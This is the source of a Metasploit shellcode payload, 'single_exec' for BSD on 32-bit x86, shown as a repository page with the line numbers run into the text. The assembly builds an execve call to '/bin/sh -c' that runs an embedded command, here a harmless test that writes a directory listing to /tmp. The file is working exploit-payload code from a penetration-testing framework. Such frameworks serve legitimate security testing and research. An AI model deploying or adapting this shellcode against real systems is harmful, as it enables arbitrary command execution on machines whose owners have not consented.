Path: blob/master/external/source/shellcode/bsd/ia32/single_exec.asm
19669 views
;;1;2; Name: single_exec3; Platforms: *BSD4; Authors: vlad902 <vlad902 [at] gmail.com>5; Version: $Revision: 1499 $6; License:7;8; This file is part of the Metasploit Exploit Framework9; and is subject to the same licenses and copyrights as10; the rest of this package.11;12; Description:13;14; Execute an arbitary command.15;16;;17; NULLs are fair game.1819BITS 3220global main2122main:23push byte 0x3b24pop eax25cdq2627push edx28push word 0x632d29mov edi, esp3031push edx32push dword 0x68732f6e33push dword 0x69622f2f34mov ebx, esp3536push edx37call getstr38db "/bin/ls > /tmp/test_single_exec", 0x0039getstr:40push edi41push ebx42mov ecx, esp43push edx44push ecx45push ebx46push eax47int 0x80484950